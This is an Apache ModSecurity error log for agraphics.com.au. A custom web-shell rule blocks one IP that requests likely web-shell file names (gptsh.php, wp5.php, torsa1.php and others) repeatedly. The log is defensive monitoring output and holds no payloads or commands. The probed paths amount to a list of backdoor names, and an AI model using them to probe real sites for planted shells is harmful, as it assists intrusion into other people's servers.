[Sun Apr 05 05:53:40.063126 2026] [:error] [pid 30921:tid 30930] [client 20.215.70.55:7773] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "adGIZGFGQVn8Q0ueB25stQAAAQc"]
[Sun Apr 05 05:53:40.943108 2026] [:error] [pid 45409:tid 45414] [client 20.215.70.55:63818] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "adGIZNHt_Oyw03gjCNjL0wAAAMM"]
[Sun Apr 05 05:53:42.269602 2026] [:error] [pid 45409:tid 45427] [client 20.215.70.55:64623] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gptsh.php"] [unique_id "adGIZtHt_Oyw03gjCNjL2wAAANA"]
[Sun Apr 05 05:53:44.108742 2026] [:error] [pid 45409:tid 45435] [client 20.215.70.55:7751] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adGIaNHt_Oyw03gjCNjL5wAAANg"]
[Sun Apr 05 05:53:45.532479 2026] [:error] [pid 30921:tid 30935] [client 20.215.70.55:7781] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adGIaWFGQVn8Q0ueB25sxQAAAQw"]
[Sun Apr 05 05:53:47.383386 2026] [:error] [pid 45305:tid 45389] [client 20.215.70.55:63785] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adGIa-jDQjr7aWhjflATRgAAAJI"]
[Sun Apr 05 05:53:48.366068 2026] [:error] [pid 45305:tid 45372] [client 20.215.70.55:63593] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new3.php"] [unique_id "adGIbOjDQjr7aWhjflATTQAAAIE"]
[Sun Apr 05 05:53:49.562531 2026] [:error] [pid 45305:tid 45394] [client 20.215.70.55:52858] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adGIbejDQjr7aWhjflATWAAAAJc"]
[Sun Apr 05 05:53:51.002738 2026] [:error] [pid 45305:tid 45387] [client 20.215.70.55:63770] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adGIb-jDQjr7aWhjflATZwAAAJA"]
[Sun Apr 05 05:53:51.694062 2026] [:error] [pid 30921:tid 30944] [client 20.215.70.55:52848] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adGIb2FGQVn8Q0ueB25s0gAAARU"]
[Sun Apr 05 05:53:52.735099 2026] [:error] [pid 45409:tid 45413] [client 20.215.70.55:52845] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "adGIcNHt_Oyw03gjCNjMFQAAAMI"]
[Sun Apr 05 05:53:53.560289 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:54111] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "adGIcejDQjr7aWhjflATdQAAAIc"]
[Sun Apr 05 05:53:54.928089 2026] [:error] [pid 45409:tid 45418] [client 20.215.70.55:52863] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "adGIctHt_Oyw03gjCNjMHQAAAMc"]
[Sun Apr 05 05:53:55.954319 2026] [:error] [pid 45305:tid 45388] [client 20.215.70.55:52814] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "adGIc-jDQjr7aWhjflATkAAAAJE"]
[Sun Apr 05 05:53:56.979244 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:54101] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "adGIdOjDQjr7aWhjflATmgAAAIc"]
[Sun Apr 05 05:53:57.654688 2026] [:error] [pid 45409:tid 45415] [client 20.215.70.55:63614] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "adGIddHt_Oyw03gjCNjMJgAAAMQ"]
[Sun Apr 05 05:53:58.207704 2026] [:error] [pid 45305:tid 45375] [client 20.215.70.55:63604] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "adGIdujDQjr7aWhjflATogAAAIQ"]
[Sun Apr 05 05:53:58.792489 2026] [:error] [pid 45305:tid 45393] [client 20.215.70.55:7617] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "adGIdujDQjr7aWhjflATpQAAAJY"]
[Sun Apr 05 05:53:59.629037 2026] [:error] [pid 30921:tid 30926] [client 20.215.70.55:52819] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buc.php"] [unique_id "adGId2FGQVn8Q0ueB25s7wAAAQM"]
[Sun Apr 05 05:54:00.191336 2026] [:error] [pid 45409:tid 45421] [client 20.215.70.55:54141] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "adGIeNHt_Oyw03gjCNjMLAAAAMo"]
[Sun Apr 05 05:54:01.226920 2026] [:error] [pid 45304:tid 45368] [client 20.215.70.55:64535] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "adGIeQ5jnqDKKovdRkkGiQAAAFg"]
[Sun Apr 05 05:54:01.972505 2026] [:error] [pid 45305:tid 45393] [client 20.215.70.55:7745] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "adGIeejDQjr7aWhjflATtgAAAJY"]
[Sun Apr 05 05:54:02.637145 2026] [:error] [pid 45409:tid 45423] [client 20.215.70.55:64608] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Cap.php"] [unique_id "adGIetHt_Oyw03gjCNjMMQAAAMw"]
[Sun Apr 05 05:54:03.497737 2026] [:error] [pid 45409:tid 45418] [client 20.215.70.55:63843] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adGIe9Ht_Oyw03gjCNjMNAAAAMc"]
[Sun Apr 05 05:54:04.409825 2026] [:error] [pid 45409:tid 45417] [client 20.215.70.55:63824] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adGIfNHt_Oyw03gjCNjMOAAAAMY"]
[Sun Apr 05 05:54:05.083443 2026] [:error] [pid 45409:tid 45422] [client 20.215.70.55:52821] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adGIfdHt_Oyw03gjCNjMOwAAAMs"]
[Sun Apr 05 05:54:05.979995 2026] [:error] [pid 45304:tid 45344] [client 20.215.70.55:7671] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "adGIfQ5jnqDKKovdRkkGkgAAAEA"]
[Sun Apr 05 05:54:07.536151 2026] [:error] [pid 45409:tid 45422] [client 20.215.70.55:63600] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adGIf9Ht_Oyw03gjCNjMQwAAAMs"]
[Sun Apr 05 05:54:09.491877 2026] [:error] [pid 30921:tid 30931] [client 20.215.70.55:64578] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adGIgWFGQVn8Q0ueB25s-QAAAQg"]
[Sun Apr 05 05:54:10.864227 2026] [:error] [pid 45305:tid 45388] [client 20.215.70.55:54095] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adGIgujDQjr7aWhjflATzwAAAJE"]
[Sun Apr 05 05:54:11.646586 2026] [:error] [pid 45304:tid 45357] [client 20.215.70.55:54123] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "adGIgw5jnqDKKovdRkkGnQAAAE0"]
[Sun Apr 05 05:54:12.466068 2026] [:error] [pid 30921:tid 30924] [client 20.215.70.55:7663] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "adGIhGFGQVn8Q0ueB25tAgAAAQE"]
[Sun Apr 05 05:54:13.285049 2026] [:error] [pid 45305:tid 45375] [client 20.215.70.55:7768] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "adGIhejDQjr7aWhjflAT1QAAAIQ"]
[Sun Apr 05 05:54:14.450805 2026] [:error] [pid 30921:tid 30934] [client 20.215.70.55:64590] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "adGIhmFGQVn8Q0ueB25tCAAAAQs"]
[Sun Apr 05 05:54:15.250546 2026] [:error] [pid 45305:tid 45378] [client 20.215.70.55:54137] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "adGIh-jDQjr7aWhjflAT2gAAAIc"]
[Sun Apr 05 05:54:16.296727 2026] [:error] [pid 45304:tid 45357] [client 20.215.70.55:7666] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "adGIiA5jnqDKKovdRkkGqQAAAE0"]
[Sun Apr 05 05:54:17.354719 2026] [:error] [pid 45304:tid 45349] [client 20.215.70.55:64554] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "adGIiQ5jnqDKKovdRkkGqgAAAEU"]
[Sun Apr 05 05:54:18.004537 2026] [:error] [pid 45304:tid 45368] [client 20.215.70.55:7656] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "adGIig5jnqDKKovdRkkGrgAAAFg"]
[Sun Apr 05 05:54:19.058739 2026] [:error] [pid 45305:tid 45395] [client 20.215.70.55:64584] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tx78.php"] [unique_id "adGIi-jDQjr7aWhjflAT4gAAAJg"]
[Sun Apr 05 05:54:19.793113 2026] [:error] [pid 45305:tid 45393] [client 20.215.70.55:52806] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "adGIi-jDQjr7aWhjflAT5AAAAJY"]
[Sun Apr 05 05:54:20.831476 2026] [:error] [pid 45303:tid 45328] [client 20.215.70.55:54090] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "adGIjLboQ9eViZ4hdnmDdQAAAAs"]
[Sun Apr 05 05:54:21.697793 2026] [:error] [pid 30921:tid 30936] [client 20.215.70.55:54116] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "adGIjWFGQVn8Q0ueB25tFAAAAQ0"]
[Sun Apr 05 05:54:22.576582 2026] [:error] [pid 45303:tid 45335] [client 20.215.70.55:64513] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "adGIjrboQ9eViZ4hdnmDeQAAABI"]
[Sun Apr 05 05:54:23.695523 2026] [:error] [pid 45304:tid 45360] [client 20.215.70.55:7621] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adGIjw5jnqDKKovdRkkGtwAAAFA"]
[Sun Apr 05 05:54:24.776977 2026] [:error] [pid 45409:tid 45433] [client 20.215.70.55:7803] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adGIkNHt_Oyw03gjCNjMbQAAANY"]
[Sun Apr 05 05:54:25.597152 2026] [:error] [pid 30921:tid 30937] [client 20.215.70.55:63572] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adGIkWFGQVn8Q0ueB25tFwAAAQ4"]
[Sun Apr 05 05:54:26.273001 2026] [:error] [pid 30921:tid 30925] [client 20.215.70.55:63795] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8573.php"] [unique_id "adGIkmFGQVn8Q0ueB25tGwAAAQI"]
[Sun Apr 05 05:54:27.022709 2026] [:error] [pid 45409:tid 45429] [client 20.215.70.55:64577] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adGIk9Ht_Oyw03gjCNjMcwAAANI"]
[Sun Apr 05 05:54:27.843091 2026] [:error] [pid 45305:tid 45372] [client 20.215.70.55:63772] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adGIk-jDQjr7aWhjflAUAgAAAIE"]
[Sun Apr 05 05:54:28.598038 2026] [:error] [pid 45305:tid 45384] [client 20.215.70.55:64550] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adGIlOjDQjr7aWhjflAUCQAAAI0"]
[Sun Apr 05 05:54:29.565911 2026] [:error] [pid 45305:tid 45385] [client 20.215.70.55:7649] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "adGIlejDQjr7aWhjflAUEwAAAI4"]
[Sun Apr 05 05:54:30.418573 2026] [:error] [pid 30921:tid 30946] [client 20.215.70.55:7628] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "adGIlmFGQVn8Q0ueB25tIAAAARc"]
[Sun Apr 05 05:54:31.208104 2026] [:error] [pid 45304:tid 45345] [client 20.215.70.55:64558] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "adGIlw5jnqDKKovdRkkGwQAAAEE"]
[Sun Apr 05 05:54:32.248456 2026] [:error] [pid 30921:tid 30923] [client 20.215.70.55:63803] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "adGImGFGQVn8Q0ueB25tKQAAAQA"]
[Sun Apr 05 05:54:33.042818 2026] [:error] [pid 45304:tid 45354] [client 20.215.70.55:64630] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "adGImQ5jnqDKKovdRkkGygAAAEo"]
[Sun Apr 05 05:54:33.852696 2026] [:error] [pid 45304:tid 45350] [client 20.215.70.55:54117] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "adGImQ5jnqDKKovdRkkG0AAAAEY"]
[Sun Apr 05 05:54:34.594493 2026] [:error] [pid 45409:tid 45412] [client 20.215.70.55:63819] [client 20.215.70.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "adGImtHt_Oyw03gjCNjMggAAAME"]
